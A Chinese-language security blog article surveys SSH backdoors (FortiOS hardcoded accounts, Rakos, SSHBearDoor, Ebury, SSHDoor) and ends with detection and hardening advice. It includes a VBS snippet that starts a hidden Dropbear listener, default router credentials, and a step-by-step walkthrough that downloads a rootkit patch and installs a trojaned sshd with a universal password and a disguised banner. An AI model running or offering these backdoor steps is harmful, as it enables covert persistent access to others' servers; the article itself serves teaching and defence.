SSH後門分析總結

xfkxfk發表於2018-04-11

SSH後門分析總結

  • SSH
  • Backdoor

 

 

對於UNIX系統來說,ssh服務端作為最廣泛應用的遠端管理服務並且有一定對外開放的必然性,必然引起駭客關注,所以ssh類的後門也是unix下最經典的後門方式之一了。作為滲透基礎知識,逢魔安全團隊在本文中對此類後門進行了詳細的分析總結,希望能幫助到一些初學者。

0x01 簡介

簡單的說,SSH 為建立在應用層基礎上的安全協議。透過該協議可以遠端操作伺服器。目前,所謂openssh,Dropbear SSH等,都是ssh協議的工具體現

 

所謂後門是在滲透完成之後的階段,攻擊者獲取到一臺伺服器的root許可權後,需要透過後門長期能夠控制這臺伺服器,同時後門又需要躲避管理員的檢測。

 

那麼,rookit的概念實際上就是要透過一系列手段隱藏惡意程式,達到長期控制的目的。可想而知,他的根本宗旨是隱藏:通訊隱蔽、自啟動項隱藏、檔案隱藏、程式/模組隱藏、登錄檔隱藏、服務隱藏、埠隱藏等。

0x02 Fortinet FortiOS後門

Poc見:http://seclists.org/fulldisclosure/2016/Jan/26

 

該後門屬於硬編碼型別的,事實上很多產品都爆出過這一型別的漏洞

 

爆發時間:2016年9月

 

 

如上圖poc中,可以知道想目標機器傳送內建賬號Fortimanager_Access,發揮的資訊經過custom_handler函式的處理,就能訪問了。

 

思考:實際上,硬編碼漏洞廣泛的存在於各種裝置中,路由器,閘道器,防火牆等均爆出過

 

例如:

  • D-Link DWR-932B LTE路由器,存在admin:admin和root:1234

  • CVE-2015-7755: Juniper ScreenOS認證後門

  • 梭子魚多款產品存在後門

這一型別的後門都是透過硬編碼的方式存在,是開發和管理人員用來管理的內建賬號,但是沒有做好相應的許可權控制,使得普通使用者甚至惡意使用者也能訪問到這些賬號。

0x03 Rakos Malware

參考地址:https://github.com/eset/malware-ioc/tree/master/rakos

 

Rakos Malware主要在嵌入式裝置中流傳,可以透過暴力破解ssh服務組建殭屍網路。

 

主要時間:約2016年8月份

 

攻擊行為:

  • 載入yaml配置檔案,該檔案包含了c&c伺服器列表以及賬號密碼字典

  • 本地開啟一個http埠61314,主要透過該埠進行控制

  • 將受害者資訊(賬號密碼等)透過http傳送給C&C端,同時可以用於自我更新

  • 透過C&C服務端傳送指令,破解其他機器ssh賬號,在進一步將破解的機器感染成殭屍機器

思考

 

在本次案例根本是在於大範圍暴力破解ssh服務,加上管理員往往對物聯網裝置疏於管理。

 

實際中,暴力破解的安全事件很容易發生,市面上有非常多類似功能的惡意軟體,對於一個高度安全的網路環境,入口點有時候往往就是一個弱密碼。

0x04 SSHBearDoor

sshBearDoor主要被當做後門用,能夠擦出硬碟資料,主要針對烏克蘭新聞媒體公司和電力行業。

 

爆發時間:2007年就存在,2014年捲土重來

 

SSH後門:

 

該惡意軟體繫結了一個Dropbear SSH的後門,後門程式如下:

Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false

後門詳細的工作原理如下圖:

 

 

後門行為:這裡的後門實際上完全是正常的程式功能,只不過人們使用了該ssh功能寫了一個遠端連線的工具而已。

 

思考:這一類的後門原理上都是透過提供的第三方庫再實現一個簡易的ssh客戶端和服務端,然後將服務端安裝在受害者機器上,實現連線、

 

與之類似的有如下工具:

 

https://github.com/joridos/custom-ssh-backdoor,該工具是透過python的paramiko庫自己實現了個ssh功能的軟體,然後安裝在服務端上

 

比較缺乏的是,github上大部分的後門軟體都只是實現了ssh的功能,並沒有隱藏功能

0x05 Ebury木馬

該木馬主要是透過補丁程式修改OpenSSH的公共庫libkeyutils.so,從而使得他能夠輕易獲取到管理員賬號密碼

 

爆發時間:2013年

 

木馬行為

  • 將受感染機器的使用者登陸資訊記錄下來併傳送給遠端機器,記錄下未加密的私鑰,

  • 不在日誌檔案裡留下痕跡

  • 修改檔案包管理器中的原始簽名

  • 網口混雜模式時,

該木馬功能上比較完整,有各種手段對後門進行隱藏,有機會我們單獨拿一片文章出來講。

0x06 SSHDoor

該後門主要是透過硬編碼的方式登陸,可以竊取使用者名稱密碼

 

時間:2013年

 

後門行為

  • 隱藏行為的字串都是用XOR編碼

  • 透過http協議傳遞盜取到的資訊,並向遠端機器傳送資訊

  • 設定了一個通用密碼

  • 替換了原系統的私鑰,使得自己可以直接訪問遠端機器

0x07 OpenSSH Patch BackDoor

我們來看一個最原始的OpenSSH後門,該後門是透過補丁的方式修改openssh,並且重新編譯替換了sshd,與Ebury後門相似的是都可以記錄使用者的賬號名密碼,只不過該後門功能上遠遠不如Ebury,也沒有相應的隱藏功能。

[root\@localhost ~]# cat /etc/issue 
CentOS release 6.8 (Final) Kernel \r on an \m
  1. SSH後門目前網上支援版本為5.9以下,本次用的是centos6.8自帶的openssh5.3版本的
[root\@localhost ~]# ssh -V 
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
  1. 下載兩個檔案
[root\@localhost ~]# wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz 
[root\@localhost ~]# wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz 
[root\@localhost ~]# ls 
0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
  1. 備份下配置檔案
[root\@localhost ~]# mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old 
[root\@localhost ~]# mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 
[root\@localhost ~]# tar -zxvf openssh-5.9p1.tar.gz 
[root\@localhost ~]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.patch/ 
openssh-5.9p1.patch/LICENSE 
openssh-5.9p1.patch/INSTALL 
openssh-5.9p1.patch/README 
openssh-5.9p1.patch/sshbd5.9p1.diff 
openssh-5.9p1.patch/ssh_integrity_checker.sh
  1. 補丁

  1. 設定後門登陸密碼

在includes.h檔案中可以找到設定通用密碼的地方:

 

 

Version.h檔案設定版本banners,該banners改成和原來系統一致

 

[root\@localhost openssh-5.9p1]# yum install zlib-devel openssl openssl-devel zlib zlib-devel
  1. 編譯並安裝
[root\@localhost openssh-5.9p1]# yum install zlib-devel
[root\@localhost openssh-5.9p1]# yum install openssl openssl-devel
[root\@localhost openssh-5.9p1]# yum install gcc
[root\@localhost openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh
[root\@localhost openssh-5.9p1]# make && make install

  1. 驗證

執行:strings /usr/sbin/sshd

 

可以檢視到,我們需要的後門已經寫入到ssh中

 

 

使用通用密碼123123登陸成功

 

0x08 防禦方法

在識別rootkit方面,目前有幾款工具可以直接實現,例如:chkrootkit、Rootkit
Hunter、Lynis、ISPProtect等,都是可以對系統進行自動檢測。

 

攻擊是點,防禦是面的防禦,等到被入侵後在加固,就弱了,我們可以簡單的認為後門程式就是一個訪問許可權的隱藏,站在攻擊者的角度就是要偽裝成正常的使用者,行為。防禦者要做的就是識別出這些偽裝:

 

埠監控:這裡包括內網監控和外網監控:外網埠透過白名單控制,嚴禁私自開啟外網埠;內網埠變化性比較大的,那麼是否可能這些變化是有規律有模型的呢?這需要進一步研究

 

檔案監控:建立起檔案監控體系,週期性檢測檔案的完整性,監控檔案的許可權變化。匹配軟體MD5值以免軟體被替換

 

配置安全:做好基線檢測,伺服器被入侵後,往往會修改使用者配置,而通常hids並不會去檢測檔案的內容。基線配置的建立就顯得尤為總要

 

流量檢測:這一點常見的hids都能實現,snort什麼的,關鍵是各種防禦體系的聯動以及分析,提取出安全事件,進而提升到威脅情報

 

參考:

 

http://seclists.org/fulldisclosure/2016/Jan/26

 

https://github.com/eset/malware-ioc/tree/master/rakos

 

http://seclists.org/snort/2014/q1/498

 

https://evi1cg.me/archives/Pentest_SSH.html

相關文章